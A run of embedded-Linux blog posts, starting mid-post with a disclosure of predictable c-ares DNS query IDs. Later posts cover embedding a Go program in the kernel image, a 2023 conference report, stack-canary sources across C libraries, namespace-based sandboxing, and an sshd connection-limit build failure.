Looking at the CARES_RANDOM_FILE case, it becomes evident that any error with fread(3) will silently fail and result again in rand(3) being used. While c-ares does the best it can in this case, it probably shouldn’t fail silently. At least a few sysadmins would want to know that their DNS queries are all predictable due to some configuration issue.

Compiled Non-Randomness

Finally, there is one more thing in the above code. Whenever CARES_RANDOM_FILE is not set, it automatically falls back to using rand(3) for seeding the RC4 PRNG. That this can be a problem becomes apparent when we look at the Autotools configure.ac file:

dnl Check for user-specified random device
AC_ARG_WITH(random,
AS_HELP_STRING([--with-random=FILE],
               [read randomness from FILE (default=/dev/urandom)]),
    [ CARES_RANDOM_FILE="$withval" ],
    [
        dnl Check for random device.  If we're cross compiling, we can't
        dnl check, and it's better to assume it doesn't exist than it is
        dnl to fail on AC_CHECK_FILE or later.
        if test "$cross_compiling" = "no"; then
          AC_CHECK_FILE("/dev/urandom", [ CARES_RANDOM_FILE="/dev/urandom"] )
        else
          AC_MSG_WARN([cannot check for /dev/urandom while cross compiling; assuming none])
        fi

    ]
)

As we can see, the existence of /dev/urandom is determined at compile time. This will likely break in cross-compile situations where this file does not exist on your build host. We’ll then always use the fallback case with the RC4 PRNG seeded by rand(3)! Luckily enough, c-ares also brings CMake as build system and this is used for example by the Yocto meta-oe recipe for c-ares, so not all is lost.

Nevertheless, the check for /dev/urandom’s existence in c-ares should probably be done during runtime instead of determining it at compile time.

Putting All Together

Combining all these issues, we now know that:

c-ares employs an RC4-based PRNG, which is no longer suitable for generating cryptographically secure random numbers.
Due to the bug in the key schedule, the resultant random numbers will likely be of worse quality than those of a standard RC4-based PRNG.
The fallback case will always generate the same sequence of DNS query IDs.
Cross-building c-ares without /dev/urandom on the host will result in the fallback case being used, even if /dev/urandom would be available on the target.

This means that DNS query IDs generated by c-ares are not fully random, raising the likelihood of query IDs becoming completely predictable. Consequently, an attacker’s search space for the tuple of source port and DNS query ID is smaller and makes it more likely to succeed. It basically brings us closer to the good old days of CVE-2008-1447 where source port randomization was not used by default. :-)

After reporting this issue, the c-ares maintainers published v1.19.1, which rectifies this problem (fix commit) and other recent vulnerabilities. So, better be sure to update c-ares to the latest version!

RFC5452 lists all measures DNS implementations should take to be more resilient against response forgery. ↩︎
Of course we also checked if the c-ares code base does anything special with respect to selecting the source port. ↩︎
Shout out to DragonFlyBSD who also managed this just recently in 2023! ;-) ↩︎

Let's Embed a Go Program into the Linux Kernel

Richard Weinberger — Fri, 21 Jul 2023 00:00:00 +0200

Let’s Embed a Go Program into the Linux Kernel

Today, we would like to present a lesser-known feature of the Linux kernel. Instead of launching a program from a file system, regardless of whether it’s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.

Introduction

At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs. Prominent examples include the module loader helper, /sbin/modprobe, or the Spanning Tree Protocol (STP) helper for Linux’s 802.1d Ethernet bridge subsystem, /sbin/bridge-stp. On Linux, programs are typically launched from a file system using the execve() system call. The kernel reads the initial parts of the specified file and hands over execution to user space. Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file. The same applies to the Linux user mode helper API, which allows executing a program from a driver. Both scenarios require the program to be installed and loadable. In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.

However, things become complicated if you are a Board Support Package (BSP) supplier, either external or in-house, and don’t always have easy access to the workflow that determines what to install in the root file system. Ensuring that a program is actually loadable from the current root file system is a different story. A common problem arises in setups where the root file system is attached using network storage, such as NFS or iSCSI. If the network connection is unavailable, all access to the root file system fails, and the kernel is unable to run helpers anymore. This is where the mechanism we’d like to present in this blog post can help.

Let’s assume we have a device driver called embedded_prog that requires a user space helper program, which must be executable at any time. First, we need the program we want to embed. Strictly speaking, any program will do, but we need to ensure that the program in question has no dependencies on the file system. Linking it statically provides benefits. Go programs are statically linked by default, and to illustrate that the following approach works with any kind of program, we have chosen to embed a Go program into the kernel. The driver itself is very simple. All it does is execute the helper program as soon as the driver is loaded, and when the program writes something into the pipe, the contents are directly logged into the kernel log buffer.

The Go Program

To keep things simple, the program itself will be straightforward. It will write ‘Hello, world!’ to standard output every five seconds.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


package main

import (
        "fmt"
        "time"
)

func main() {
        for {
                fmt.Println("Hello, world!")
                time.Sleep(5 * time.Second)
        }
}

Since we want to be independent of the root file system, we need to ensure that the program does not access files from the root file system. We can achieve this by using strace to trace its system calls.

$ strace -fe trace=file ./eprog_user
execve("./eprog_user", ["./eprog_user"], 0x7fff743fbd50 /* 61 vars */) = 0
openat(AT_FDCWD, "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size", O_RDONLY) = 3
strace: Process 17908 attached
strace: Process 17909 attached
strace: Process 17910 attached
strace: Process 17911 attached
[pid 17905] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=17905, si_uid=1000} ---
Hello, world!
Hello, world!
^C
strace: Process 17905 detached
strace: Process 17908 detached
strace: Process 17909 detached
strace: Process 17910 detached
strace: Process 17911 detached

Looks good! Access to files in /proc or /sys is fine. These are virtual file systems and can be assumed to be present and working at all times. They are part of the Linux ABI interface.

Linux’s User Mode Helper API

If your device driver needs to execute a user space program, the User Mode Helper API is the way to go. The core function to use the API is call_usermodehelper(), which has the following signature:

int call_usermodehelper(const char *path, char **argv, char **envp, int wait);

Similar to the execve() system call, call_usermodehelper() takes parameters such as the filename of the program to be executed, supplied arguments, environment, and a flag denoting whether the call should be asynchronous or not. However, this is not what we want for running an embedded program within the kernel image itself.

Since Linux v4.18, a more advanced API called user mode driver is available to run a user mode helper. The basic idea behind this API is that instead of specifying a path to a file on the root file system, an arbitrary buffer can be provided. The content of this buffer will be executed in user space just like a regular program.

int umd_load_blob(struct umd_info *info, const void *data, size_t len);
int fork_usermode_driver(struct umd_info *info);

Using umd_load_blob(), a program context is created from a buffer, and later it is executed by fork_usermode_driver(). In addition to running the program, the User Mode Driver API also establishes a pipe between the program and the kernel, enabling inexpensive communication between them.

But how do we get our Go program into that buffer? We don’t want a new user space interface where the program has to be loaded into the kernel first. We want it to be part of the kernel image.

GNU Assember to the Rescue!

The kernel build system, specifically the GNU assembler (gas), can assist us in embedding the Go program into the resulting kernel image during the build process. By using a gas file, eprog_user_blob.S, we can instruct the assembler to generate a C object file with two symbols: embedded_umh_start and embedded_umh_end. These symbols will contain the contents of a binary file specified by the .incbin command, and this file can be arbitrary.

1
2
3
4
5
6


        .section .init.rodata, "a"
        .global embedded_umh_start
embedded_umh_start:
        .incbin "drivers/misc/embedded_prog/eprog_user"
        .global embedded_umh_end
embedded_umh_end:

If we link the resulting object file, eprog_user_blob.o, with our Linux device driver, we can utilize the symbols to locate the contents of the Go program within the kernel image. This makes loading and executing the program from a buffer straightforward. In this case, the buffer passed to umd_load_blob() is a memory location within the read-only section of the in-memory kernel image. The linker has kindly prepared everything for us at compile time!

The code snippet provided below demonstrates the essential segments of the device driver, eprog_kern.c, responsible for loading and executing the Go program:

1
2
3
4
5
6


struct umd_info eprog_ctx = {
        .driver_name = "eprog_user",
};

umd_load_blob(&eprog_ctx, &embedded_umh_start, &embedded_umh_end - &embedded_umh_start);
fork_usermode_driver(&eprog_ctx);

Using the nm command, we can observe the symbols in the driver. If the driver is built as a loadable module, you can run nm on eprog.o. Otherwise, if it is built directly into the kernel, you can run nm on vmlinux.

$ nm eprog.o | grep embedded_umh_
00000000001bc4e4 R embedded_umh_end
0000000000000000 R embedded_umh_start

$ nm vmlinux | grep embedded_umh_
0000000060688a00 d embedded_umh_end
00000000604cc51c d embedded_umh_start

Gluing it all Together

So far we have the following components:

eprog_kern.c: The kernel driver that runs umd_load_blob() and fork_usermode_driver().
eprog_user_blob.S, The assembly source file we use to embed the Go program into a C object.
gohello/hello.go, Our Go program, located in a subdirectory of our driver.

Using the following Makefile, all components are build and connected together:

1
2
3
4
5
6
7


$(obj)/eprog_user_blob.o: $(obj)/eprog_user
$(obj)/eprog_user: $(srctree)/drivers/misc/embedded_prog/gohello/hello.go
        # TODO: Add support for cross builds
        go build -o $(obj)/eprog_user $(srctree)/drivers/misc/embedded_prog/gohello/hello.go

obj-$(CONFIG_EMBEDDED_PROG) += eprog.o
eprog-objs += eprog_kern.o eprog_user_blob.o

Linux’s GNU make-based build system is rather flexible: it allows us to build our Go program even while building the kernel.

The following graphic outlines how all components are connected:

Demo

$ insmod eprog.ko
$ ps fax
  PID TTY      STAT   TIME COMMAND
    2 ?        S      0:00 [kthreadd]
[..]
   25 ?        Sl     0:00  \_ eprog_user
[..]
   30 ?        R      0:00 ps fax
$ dmesg -w
[   53.300000] eprog: From userspace: Hello, world!
[   58.310000] eprog: From userspace: Hello, world!
[...]

We observe a new process, eprog_user, right after loading the driver module. It is not a kernel thread, the name is not in square brackets and it is not a child of PID 1 but of kthreadd. Every five seconds the Go program will write Hello, world! via standard output to the kernel driver which prints the string to the kernel log buffer. Once the module is unloaded, the process is killed.

Summary

We have seen that using a small assembly file and the User Mode Driver mechanism, it is possible to embed any kind of executable into the kernel image and run it later from there. It works with any kind of program; we used a Go binary because it is statically linked and has no dependencies on the root file system. If you’re using your own program and want to be completely independent of the root file system, make sure that you know in detail which files it will process. While the number of valid use cases for the presented feature is arguably small, it is still interesting to have and opens the door to new possibilities. The example driver is rather simple, but there are numerous other ways to utilize this feature. Please keep in mind that adding programs to the kernel image comes with a cost: the program as a whole will always stay in memory.

The full example driver is available on git.kernel.org.

Embedded Open Source Summit 2023 in Prague

Aaron Marcher — Mon, 03 Jul 2023 00:00:00 +0200

Embedded Open Source Summit 2023

The Embedded Open Source Summit in Prague was a significant event for our company, as it marked our first major conference since the Pandemic. As dedicated professionals in the field of embedded Linux systems, attending this summit allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.

This year’s summit featured six distinct tracks, namely the Embedded Linux Conference, Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit, Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023. Our primary focus was on Linux and security-related topics. In this blog post, we will provide a brief overview of the noteworthy talks and presentations that left a lasting impact on us.

Finding the Best Block Filesystem for Your Embedded Linux System

In this talk, Michael Opdenacker from Bootlin compared various file systems that can be used on an embedded board’s eMMC or SD card. So the comparison and benchmarks included not just read-only filesystems like SquashFS and EROFS, but also writable ones like ext4, XFS, btrfs, nilfs2 and F2FS.

The comparisons included read and write benchmarks, image size, size of the kernel module and how tiny a minimal filesystem could be packed.

Regarding filesystem size, SquashFS came out as a clear winner, while EROFS wins in terms of read speed. We’ve also discussed in more detail in a previous blog post.

If a writable filesystem is desired, with a focus on simplicity and image size, ext4 wins across the board.

The Resurrection of Ureadahead and Speeding up the Boot Process and Preloading Applications

If you’ve ever been to an Embedded Linux Conference, you’ll know Steven Rostedt. Though not in Batman costume this time, he gave a great talk on ureadahead. More specifically, how he resurrected this almost dead tool and how this helps speed up every ChromeOS boot.

Basically, ureadahead records page faults during bootup and uses this information on every subsequent boot to pre-cache the required pages in the Kernel’s page cache. One of the great changes Steven made as part of his ureadahead rewrite was to remove the dependency on non-mainline tracepoints such that it now works with vanilla Kernels.

Steven concluded with his list of future ideas for ureadahead and his call for the embedded community to get involved. The following discussion showed that effective performance boost for embedded devices might be lower though as the read patterns might be different. Also, compression e.g. with SquashFS might put more load on the CPU which could reduce the I/O benefits.

Status of Embedded Linux

As always, Tim Bird’s status report on embedded Linux was a conference highlight. In addition to presenting various development statistics, Tim focused on the fact that Linux is now the operating system of choice for most space vehicles. When comparing the current state of embedded Linux to that of 10 or 15 years ago, the overall outlook is very positive.

Tim also shared some unfortunate news: Wolfgang Denk, the founder of u-boot and DENX, passed away in 2022. As a major contributor to embedded Linux and some of us having personally met and worked with Wolfgang, we agree with Tim that he will definitely be missed! Moreover, elinux.org, a valuable resource for the community, has lost its funding and now faces an uncertain future.

Toolchain Options in 2023: What’s New in Compilers and Libcs?

Bernhard Rosenkränzer from BayLibre provided a comprehensive overview of the toolchain landscape in 2023. In addition to the traditional GNU toolchain (GCC, binutils, and glibc), we now have excellent tools from the LLVM project as well. Bernhard conducted an unbiased comparison of all the available options and emphasized that having more choices leads to increased test coverage for a project. He also introduced lesser-known libc implementations that could prove valuable for deep embedded systems.

One of the key takeaways from his presentation was that building the same project using different toolchains aids in bug discovery. This is because each compiler has its unique approach to detecting code issues. From a security perspective, this is something we can attest to!

MUSE: MTD in Userspace, or How to Extend FUSE for Fun and Profit

Our own Richard Weinberger gave a nice talk on his work-in-progress debugging and evaluation tool for MTD. With MUSE he utilizes the existing FUSE interfaces and (slightly) extended them to now support writing MTD drivers in userspace.

Richard’s motivation for creating MUSE stems from him maintainer work in various Kernel raw flash subsystems: NAND, MTD, UBI, UBIFS. While the Kernel already has tools for this (mtdram, block2mtd, nandsim) all of them have their drawbacks and using them can be quite cumbersome. Everybody who had to figure out the proper NAND IDs for nandsim will be able to relate ;-)

Richard started with an overview of his various attempts for MUSE and why FUSE has a great fit for his use case. He also gave more detailed insights into the FUSE interface, how he used them for MUSE and how it might be useful for other use cases as well.

Evaluation of PREEMPT_RT in Virtualized Environments

As we ourselves know from experience with our customers proper real-time behavior is often hard to achieve. Jan Altenberg from OSADL presented his findings from latency measurements in virtualized scenarios.

He evaluated multiple scenarios from using containerized environments with Docker and fully virtualized settings with KVM and Jailhouse. His focus was primarily on thread latency (tested with cyclictest) and the influence of blocking kernel code (e.g. some misbehaving device driver) and shared hardware resources like the CPU cache on real-time behavior in host and guest OS.

The core takeaway from this talk is that correct assignment of hardware resources like CPU cores and configuration of hardware is essential to achieving good results. As one would expect, containerized environments with a shared OS Kernel have much more influence on real-time behavior on the whole system than properly configured virtualized environments. In Jan’s test, the most effective isolation was achieved when he used Jailhouse. Though even there, effects from the CPU cache will still cause disturbance between individual guest OSes depending on the CPU and guest OS segmentation.

Having access to the large OSADL real-time testing infrastructure definitely helped with this. In case you want to check out the OSADL QA Farm for real-time for yourself here.

Fetching, Configuring and Building Your Bitbake Project with Just One Command

Jan Kiszka of Siemens AG presented kas (Bavarian for “cheese” or “nonsense”), a simple yet efficient tool for setting up and performing Yocto builds. Traditionally, when building a Yocto-based project, it is the responsibility of the project owner to manage and checkout all the associated meta layers, create various configuration files, and initiate the build process.

kas allows describing the entire project in a single YAML file and provides tools for checking out, managing, and building the project. Additionally, there is an accompanying wrapper called kas-container, which runs the entire Yocto build within a Docker or Podman container. This approach ensures that the build environment is completely separate from the host system, minimizing any potential side effects during the build.

The project has been in existence since 2017, and at sigma star gmbh, we have been using it with great success for the majority of our Yocto projects since 2021.

Setting up Yocto Layers and Builds with Official Tools

On a similar subject as the talk on kas, however with different goals and a different implementation, Alexander Kanavin presented the new official Yocto way to manage and reproduce build configurations and layers. Historically, the Yocto Project did not provide such tools, which changed with the latest release(s).

In the current release (mickledore), the bitbake-layers tool is able to save its configuration, which can afterward be restored with oe-init-build-env and oe-setup-build (patch set is currently under code-review), respectively. In the future, an additional high-level tool for setting up Yocto builds, called oe-setup may be possibly available via PyPi, making build initialization even simpler. Also an integration with kas using a plugin is possible in the future.

Why Are GPUs (Not) Fast - A Trip Through the Driver Stack

Pengutronix’s GPU expert, Lucas Stach, provided a crisp overview of the pipelining and scheduling of GPU based rendering pipelines. The takeaway message was that GPUs are primarily optimized for throughput, not latency. A rendering pipeline involving shared resources, multiple compositing steps, and frame write synchronized with vertical refresh can easily rake up a latency in the double digit milliseconds.

This becomes relevant in the context of real-time applications, where we are interested in optimizing for stable, low latency. Generally, when discussing real-time properties, one should keep in mind that latency, jitter and throughput are separate concepts. “Real-time” does not necessarily mean “real-fast”. GPUs are primarily optimized for the latter.

Tracking Vulnerabilities with Buildroot and Yocto

Arnout gave an interesting talk on how to track vulnerabilities across all your dependencies with Buildroot and Yocto. Both projects include tooling to use CVE identifiers published via the NVD for tracking vulnerabilities. It was interesting to see that the current tooling sometimes makes tracking known vulnerabilities within your custom Linux distribution quite cumbersome.

Arnout went on explaining how tracking vulnerabilities across open source software using CVE and CPE databases is even further complicated by the fact that the information in these database is often not fully accurate. For example affected version numbers for vulnerabilities are incorrect or project names do not match up. For example OpenSSL as maintained upstream should be treated differently than OpenSSL maintained by Debian as the maintainers backport certain security fixes to older versions.

The talk concluded with a discussion of alternative ways for tracking vulnerabilities: OSV (Open Source Vulnerabilities) which look like an interesting alternative to CVEs if they get widely adopted.

Testing and Remote Access to Embedded System DPI/LVDS Display Output

In this presentation, Marek Vasut presented his various approaches to access embedded display outputs remotely for testing. It turned out, that this could actually be pretty useful for some of our customer’s projects too.

His presentation gave an in-depth overview about the various implementation options and the overall development odyssey. He started off with an introduction of high-bandwidth interfaces usable for capturing display output (USB 3.0 is the only real fitting candidate) and gave a rough overview over embedded system display buses.

Then, Marek presented the first, failed approach of using an FPGA with a bridge chip as a USB Video-Class (UVC) device, which had seemed like the obvious solution, but failed because of inflexibility and implementation problems. The second implementation, using the bridge chip as a FIFO directly, surprisingly worked out in the end.

After an initial, more or less “hacky” (albeit working) solution using some signal analyzer software, he designed his own PCBs and software for this use case. Marek also made his KiCad schematics and code openly available.

Summary

As always, the conference was a great exchange of ideas, featuring numerous captivating talks. Moreover, the hallway track provided an excellent opportunity for networking and intense discussions. We had the pleasure of meeting many fascinating individuals and engaging in stimulating conversations.

During our time at the summit, we had more to experience than just the conference sessions and talks. As a group, we took the chance to visit Prague Castle and enjoy some sightseeing. We admired the impressive architecture, explored the historic halls, and appreciated the cultural heritage of this captivating city. To wrap up the conference, we participated in a closing game hosted by Tim Bird, which added an entertaining element. The game included a few quiz questions related to Prague and its famous landmarks, which made our sightseeing excursion even more meaningful.

Who's your canary?

Aaron Marcher — Tue, 30 May 2023 00:00:00 +0200

Who’s your canary?

A few weeks ago we gave a training on secure coding and talked about the stack protector on Linux. While roughly explaining how it works and how it can be utilized with GCC, an attendee asked where the stack canary comes from. The question was quickly resolved by answering that it’s a random value provided by the kernel upon process startup.

But where does the value really come from? This question turned out to be more interesting than expected. In this blog post we will give you a rough overview where the stack canary comes from with different libc implementations.

Short recap

Stack canaries are a security feature implemented in many software programs to help mitigate buffer overflow attacks. The stack protector places a randomized canary value at a specific position on the function stack. It is crucial that the value is not known to the attacker, not can be easily guessed. This is why the canary value is randomly selected for each newly executed program. Please note that the value is not unique per process, if a process is copied, i.e. via fork(), then also the canary value stays the same. Before function returns the value is compared to the initial one. If it changed, the stack is corrupted and execution aborts to prevent an attacker from executing their malicious code.

For example, in GCC the stack protector can be enabled using the -fstack-protector compiler option.

Implementing a canary

Let’s take a look at how various stack protector implementations select the canary value. In most implementations, the symbol __stack_chk_guard holds the canary value, and the function __stack_chk_fail() is called upon failure.

libssp

libssp is a standalone library included in GCC, if enabled, providing stack protection mechanisms. Per default, it is disabled on most Linux systems, but it has proven to be useful on bare metal (embedded) systems without a libc.

To generate its canaries, it tries to read from /dev/urandom if present. Otherwise, the canary is hard-coded to the values 0x00, 0x00, 0xff, 0x0a. These values are chosen to stop string functions and prevent stack overflow:

0x00 is the NULL character, terminating a string
0xff is invalid according to the UTF-8 specification
0x0a is a newline character

Running gcc -v on your distro will most likely show --disable-libssp.

Source: gcc/libssp/ssp.c:73

glibc

When there is no libssp support is available, glibc can handle canaries on its own. For each newly started program, the kernel generates a random value and passes it to the program using the auxiliary vector¹ AT_RANDOM from the userspace’s auxiliary vector. On non-Linux systems, glibc falls back to using the value 0x00, 0x00, 0xff, 0x0a (see libssp).

To retrieve the value for the current execution, set LD_SHOW_AUXV=1.

$ LD_SHOW_AUXV=1 /bin/true | grep AT_RANDOM
AT_RANDOM:       0x7ffcacfa8c49

Source: glibc/sysdeps/unix/sysv/linux/dl-osinfo.h:26

musl libc

The lightweight alternative C library musl uses AT_RANDOM for its stack canaries, just like glibc. As a fallback on non-Linux it uses the address of __stack_chk_guard multiplied by a magic value (0x41C64E6D), which may seem suboptimal at first glance.

However, if ASLR is available, it can serve as a source of randomness. ASLR randomizes memory addresses, making it challenging for attackers to exploit memory-related vulnerabilities. By relying on ASLR to randomize the stack canary value in the fallback scenario, it ensures that the canary is not easily guessable.

Source: musl/src/env/__stack_chk_fail.c:7

bionic libc

The bionic libc, utilized by Google on Android, uses an arc4 random number generator if the /dev/urandom pseudo-device is available. If not, it falls back to using AT_RANDOM through the auxiliary vector.

Source: bionic/libc/bionic/__libc_init_main_thread.cpp:109

uclibc-ng

uclibc-ng is a small C library primarily designed for embedded systems. For the random number generation of its stack protector it utilizes /dev/urandom by default. Alternatively, it can also fall back to a pseudo-random approach based on a magic value (0xFF0A0D00UL) xor current time.

Source: uclibc-ng/libc/sysdeps/linux/common/dl-osinfo.h:36

dietlibc

The statically linked C library, developed by fefe, also takes hold of AT_RANDOM for stack canary generation, with an optional fallback to /dev/urandom.

Source: dietlibc/lib/stackgap-common.h

picolibc (not really Linux specific)

picolibc is another C library primarily used on embedded systems, particularly in scenarios with very limited main memory. Per default, it uses the magic value 0x00, 0x00, 0xff, 0x0a (see libssp). If feasible and constructors are available, it utilizes the random number generator of the operating system.

Source: picolibc/newlib/libc/ssp/stack_protector.c:21

Linux kernel (no libc)

The Linux kernel itself incorporates a stack protector mechanism for each kernel stack. It obtains random numbers from its internal random number generator.

Source: linux/include/linux/stackprotector.h:23

OpenBSD libc

OpenBSD’s libc previously used the getentropy() system call to obtain random values in its stack canaries, which recevied its bytes directly from the kernel’s entropy pool. However, starting from the 5.3 release, they transitioned to .openbsd.randomdata, which is an ELF section filled by the kernel on program execution (using its entropy pool).²

Source: openbsd-src/lib/libc/sys/stack_protector.c:47

Con{clusion,fusion}

The variations in the implementation details of stack protectors and the generation of its stack canaries across diverse C libraries are remarkably diverse. Some C libraries utilize the (pseudo) random number generator of the OS, while others have their own implementations.

Generally, C libraries follow quite sane defaults. However, the main concern lies in the fallbacks: They are often questionable. One possible attack vector would be to ensure that the C library falls back to a (less secure) source of random numbers.

Restricting network access using Linux Network Namespaces

Richard Weinberger — Sun, 07 May 2023 00:00:00 +0200

Restricting network access using Linux Network Namespaces

Our last blog post explored ways to restrict access to the file system using Linux mount namespaces. In this post, we’ll show you how to restrict access to the network using Linux’s network namespaces. That’s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface. The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.

The Baseline

Consider a requirement where an application needs to ensure that it can no longer access the network or establish new connections. One way to achieve this is by creating a new network namespace.

When the application creates a new network namespace, it can no longer access the network nor the host itself. Access is not denied by the namespace mechanisms themselves, but by the way networking works. There is no network interface to the outside world; all the namespace has is a loopback interface. To connect the network namespace to the outside world the application either has to set up a virtual ethernet connection or move a physical network interface into the namespace. This is usually done by container engines and is a privileged operation. By not doing so, the application is network-wise isolated.

Network Namespaces

An example of multiple network namespaces

Similar to mount namespaces, creating a network namespace requires the CAP_SYS_ADMIN capability. Therefore, an unprivileged application must first create a new user namespace to be able to create a network namespace. For simple unprivileged applications, utilizing the unshare() system call is good enough to create a new user and network namespace to disassociate itself from the network. Thus, a call like unshare(CLONE_NEWNET | CLONE_NEWUSER) is sufficient for unprivileged applications to isolate itself from the network. While the application has all capabilities in the freshly created user namespace and can alter the new network namespaces as it wishes, it has no way to establish a virtual network connection to the parent namespace, nor can it re-enter the parent namespace. This is because it has no capabilities on the host side (the parent namespaces in this case).

If the application is privileged (i.e., it has CAP_SYS_ADMIN and CAP_NET_ADMIN) then it is crucial to drop privileges inside the new user namespace to avoid escape. Dropping capabilities is usually something you would do with the help of libcap or libcap-ng. Here, we’re using libcap-ng.

The following lines of code outline the needed steps to create a new network namespace and drop privileges.

assert(unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0);

assert(capng_lock() == 0);
capng_clear(CAPNG_SELECT_BOTH);
assert(capng_apply(CAPNG_SELECT_BOTH) == 0);
assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0);

Pitfall: Loopback Interface

Network namespaces come with one pitfall: By default the loopback interface is set to down state. If your new network namespace will contain applications that communicate via loopback, don’t forget to bring up the loopback interface. Otherwise, you may observe strange failures because most applications blindly assume loopback.

You can try this yourself using the unshare tool in your favorite shell:

$ unshare -Unr
$ ping localhost
connect: Cannot assign requested address
$ ip link set up dev lo
$ ping localhost
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.055 ms

Inherited Sockets

Please note that network namespaces, actually Linux namespaces in general, have no influence on existing file handles. Therefore, if your application possesses a file handle to a socket from another network namespace, it can use it in the new network namespace smoothly.

This is a useful feature as it allows creating network servers that can serve a listening socket but are disconnected from the outside world. If an attacker manages to overtake the application, they are unable to create a new socket to reach destinations outside the sandbox. Here you can find a sample application that outlines the idea.

Summary

Namespace are not only useful for building containers, but they can also be utilized to restrict access. In this case, we used network namespaces to deny access to the network. For more details on namespaces, see namespaces(7).

Too many CPUs to build

Richard Weinberger — Sun, 09 Apr 2023 00:00:00 +0200

Too many CPUs to build

Lately, we’ve been facing strange build errors on one of our build servers. Building a Yocto based firmware sometimes failed to build. While the error message was clear - bitbake’s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem. The error message from bitbake indicated a connection reset. Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.

When the issue occured first, we thought it was a network glitch and didn’t bother much. But the issue persisted and occurred again. With more failures, we were able to characterize the problem:

Incremental rebuilds failed most likely
Full builds with an empty sstate-cache never failed
Full builds with a populated sstate-cache failed often
Manual rebuild of a single tailed target always worked
Only recipes with AUTOREV were affected
Only recipes that fetch from a specific git server using ssh were affected

In the meantime, we suspected the connection to the git server - but none of our tests indicated a problem. Reaching the git server in question involves another ssh jump host and a VPN connection to a customer. So there were quite a few components which were not under our control.

Finally, setting the log level of the ssh jump host to verbose gave us the crucial clue, as it logged:

drop connection #10 from hidden:48324 on hidden:22 past MaxStartups

So, we’ve been overrunning the jump host by reaching more than 10 concurrent unauthenticated connections. This was the reason behind the strange build errors! Due to Yocto’s parallelism, it ran git ls-remote in parallel and established at least one connection per CPU. The affected build server has way more than 10 CPUs. This explains why only our most powerful server was affected, and only rebuilds or builds with populated sstate-cache failed sometimes. All other builds ran enough other tasks in between to never reach the connection limit.

The morale of the story?

Always make sure that you allow more parallel connections than you have CPUs. In our case, adjusting sshd’s MaxSessions and MaxStartups settings fixed the problem.

Restricting file system access using Linux Mount Namespaces

Richard Weinberger — Sat, 18 Mar 2023 00:00:00 +0100

Restricting file system access using Linux Mount Namespaces

Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you’ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.

The baseline

Let’s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to /home should be impossible. Or an application which runs within your user session should have no access to your .ssh folder which contains usually valuable assets.

Mount namespaces are one way to achieve this. Let’s write an unprivileged program which can be used as wrapper for another application but it will hide .ssh in the home directory. By using mount namespaces it is possible to make a copy of the current namespace and edit it. A program can either

use the unshare() system call to disconnect itself from the current namespace and create a new one, or:
create a new child process with clone() where the child has a new namespace.

User Namespaces

The act of creating a new mount namespace is restricted to processes which have the CAP_SYS_ADMIN capability. To use this facility in an unprivileged program we have to use a second namespace: the user namespace. User namespaces allow an unprivileged process gaining all capabilities and being uid 0. Linux guarantees that all actions taken by uid 0 within a user namespace adhere to the access rights of the unprivileged process. That way an unprivileged process can do things usually only root can do, but no action will have a visible effect to processes outside of the namespace.

Configuration of a user namespace

By calling unshare(CLONE_NEWNS | CLONE_NEWUSER) our program will gain a new user and mount namespace. Before we can proceed, we need to configure the user namespace. We want to have uid 0 with all capabilities inside our new user namespace. To achieve this, we must install a user and group mapping. The mapping tells Linux that everything we do inside the namespace should run outside the namespace as our current user id. Unprivileged processes are only allowed to install exactly one mapping where the target user and group ids match the outer namespace. Otherwise a processes could gain more privileges than it has.

Both user and group id mappings are controlled via two files in the processes’ /proc directory, /proc/PID/uid_map and /proc/PID/gid_map. Let’s assume the current uid is 1000 and gid is 100, then we need to write 1000 0 1 and 100 0 1 into the map files. So ids 1000 or 100 should be mapped to 0 once. Furthermore, the processes’s setgroups file has to be configured to deny. This is needed to be able to switch the group id within the user namespace. Only privileged processes are allowed to keep the file set to allow and therefore can modify their set of supplementary groups.

After this overly complicated setup procedure we’re allowed to run setuid(0) and setgid(0) to become uid 0 within the user namespace and can finally work on the mount namespace.

Creating helper functions

To ease things, let’s create first a helper function which writes a single line into a file below /proc/self/:

static void write_proc_self(const char *file, const char *content)
{
        size_t len = strlen(content) + 1;
        char *path;
        int fd;

        assert(asprintf(&path, "/proc/self/%s", file) != -1);
        fd = open(path, O_RDWR | O_CLOEXEC);
        free(path);
        assert(fd >= 0); 
        assert(write(fd, content, len) == len);
        close(fd);
}

A further helper is update_uidgid_map(), which constructs and writes the user and group mappings:

static void update_uidgid_map(uid_t from, uid_t to, bool is_user)
{
        char *map_content;

        assert(asprintf(&map_content, "%u %u 1\n", from, to) != -1);

        if (is_user)
                write_proc_self("uid_map", map_content);
        else
                write_proc_self("gid_map", map_content);

        free(map_content);
}

And finally another helper: deny_setgroups() writes deny to the setgroups file:

static void deny_setgroups(void)
{
        write_proc_self("setgroups", "deny\n");
}

Using the helpers from above and switching to uid and gid 0 happens in become_uid0():

static void become_uid0(uid_t orig_uid, gid_t orig_gid)
{
        deny_setgroups();
        update_uidgid_map(0, orig_gid, false);
        update_uidgid_map(0, orig_uid, true);
        assert(setuid(0) == 0);
        assert(setgid(0) == 0);
}

Mount Namespaces

